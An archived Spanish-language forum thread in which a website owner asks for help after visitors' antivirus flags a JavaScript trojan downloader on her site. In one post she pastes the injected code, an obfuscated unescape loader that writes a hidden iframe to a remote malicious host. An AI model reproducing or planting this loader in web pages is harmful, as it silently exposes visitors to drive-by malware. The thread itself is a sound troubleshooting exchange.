Autor Tema: Troyano en mi página web  (Leído 6726 veces)

Desconectado Schaman

  • Junior Member
  • **
  • Mensajes: 11
Troyano en mi página web
« en: 07 de Mayo de 2008, 08:48:07 pm »
Hola , ojalá alguien pueda ayudarme con esto , he estado buscando en google pero no he encontrado nada para solucionarlo.
Desde hace una semana cuando varias personas intentan acceder a la misma , el antivirus les detecta un troyano , esas personas usan el Explorer , yo en cambio uso Firefox y a mi no me detecta nada el antivirus , no sé si es que es muy malo jeje.
Y bueno lo que aparece cuando entran en la web además de en el foro y galeria , es esto:
Fichero contiene un caballo de troya . Le recomendamos terminar la descarga
Un caballo de troya:
Trojan.Downloader.JS.Inor.a :


Y enlazan al apartado de noticias de la web , cutenews.

Los del servidor dicen que ellos no han detectado nada que de donde puede venir es de algun elemento externo , foro , galeria , cutenews.

No sé qué hacer y como decia , en google no he encontrado nada .

Un saludo y gracias de antemano.

Desconectado Liamngls

  • Iniciado
  • *****
  • Mensajes: 15689
    • Manuales-e
Re: Troyano en mi página web
« Respuesta #1 en: 07 de Mayo de 2008, 08:58:17 pm »
¿Y cual has dicho que es la página en cuestión?

Desconectado Schaman

  • Junior Member
  • **
  • Mensajes: 11
Re: Troyano en mi página web
« Respuesta #2 en: 07 de Mayo de 2008, 09:14:23 pm »
Gracias por responder.

La página es esta http://www.davidbustamanteweb.com/indexx.html


Desconectado Schaman

  • Junior Member
  • **
  • Mensajes: 11
Re: Troyano en mi página web
« Respuesta #3 en: 07 de Mayo de 2008, 09:17:12 pm »
Una de las pesonas a las que el antivirus le detecta el troyano me dice que le sale esto cuando se intenta instalar

C:\Documents and Settings\Configuración local\Archivos temporales de Internet\Content.IE5\90FD49JU\index[5].htm

C:\Documents and Settings\\Configuración local\Archivos temporales de Internet\Content.IE5\IPGJMD25\index[4].htm



Desconectado Liamngls

  • Iniciado
  • *****
  • Mensajes: 15689
    • Manuales-e
Re: Troyano en mi página web
« Respuesta #4 en: 07 de Mayo de 2008, 10:01:37 pm »
Al entrar en la página sale un pop-up de -http://www.123tonosgratis.com/- .... es bastante posible que ese aviso proceda de ese pop-up, muchas de estas páginas instalan basura en los equipos de la gente que las visita para meterles luego publicidad a cada momento.

Si no fuese de esa página será de alguna otra de la cual tengas un script instalado, por ejemplo el de las estadísticas o algún otro.

Desconectado Schaman

  • Junior Member
  • **
  • Mensajes: 11
Re: Troyano en mi página web
« Respuesta #5 en: 07 de Mayo de 2008, 11:48:48 pm »
Entonces puede ser cosa del contador de visitas? es de motigo.com
Ese script entonces estaría el la carpeta del contador que está en mi servidor,no?
Gracias otra vez.


Al entrar en la página sale un pop-up de -http://www.123tonosgratis.com/- .... es bastante posible que ese aviso proceda de ese pop-up, muchas de estas páginas instalan basura en los equipos de la gente que las visita para meterles luego publicidad a cada momento.

Si no fuese de esa página será de alguna otra de la cual tengas un script instalado, por ejemplo el de las estadísticas o algún otro.

Desconectado Liamngls

  • Iniciado
  • *****
  • Mensajes: 15689
    • Manuales-e
Re: Troyano en mi página web
« Respuesta #6 en: 08 de Mayo de 2008, 12:34:04 am »
Puede ser, la forma de saberlo a ciencia cierta es quitarlo y ver si el problema persiste.

Desconectado Schaman

  • Junior Member
  • **
  • Mensajes: 11
Re: Troyano en mi página web
« Respuesta #7 en: 08 de Mayo de 2008, 12:54:30 am »
Ok pues a ver si lo puedo solucionar.
Gracias

Desconectado Schaman

  • Junior Member
  • **
  • Mensajes: 11
Re: Troyano en mi página web
« Respuesta #8 en: 09 de Mayo de 2008, 09:45:29 pm »
Hola otra vez!
Me parece que lo que me decías del Script ya sé donde está .
Mirando el Codigo Fuente de la Galeria y del  Foro de la web , me aparece lo siguiente :

<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%
61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6
E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73
%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20
%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65
%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43
%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D
%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64
%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29
%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Djgsbnf%2631xjeui%264E2%26
31ifjhiu%264E2%2631tuzmf%264E%2633cpsefs%264B%26311qy%264C%2633%2631tsd%264E%2633iuuq
%264B00xxx/hpphmf.tubujtujd/do0ofx0joefy/qiq%264Gxnje%264E543%2633%264F%2
64D0jgsbnf%264F1')</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml"
   lang="en"
   xml:lang="en">

<head>



Eso es lo primero que sale , y mirando en otro foro que no tiene ningun problema , no sale eso , sino lo siguiente :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml"
   lang="en"
   xml:lang="en">



No estoy muy segura , porque de estos temas entiendo poco , puede ser eso lo que hace que aparezca el aviso del supuesto troyano? cuando entran en el foro y galeria también salía y claro en el index de la web.


Desconectado Liamngls

  • Iniciado
  • *****
  • Mensajes: 15689
    • Manuales-e
Re: Troyano en mi página web
« Respuesta #9 en: 09 de Mayo de 2008, 10:19:44 pm »
Revisa todos los index donde aparezca y quítalo ..... si la web tiene algún sistema de caché deberás vaciar esa caché para que la gente pueda acceder a la página "nueva" sin ese código.

 

Aviso Legal | Política de Privacidad | Política de Cookies

el contenido de la web se rige bajo licencia
Creative Commons License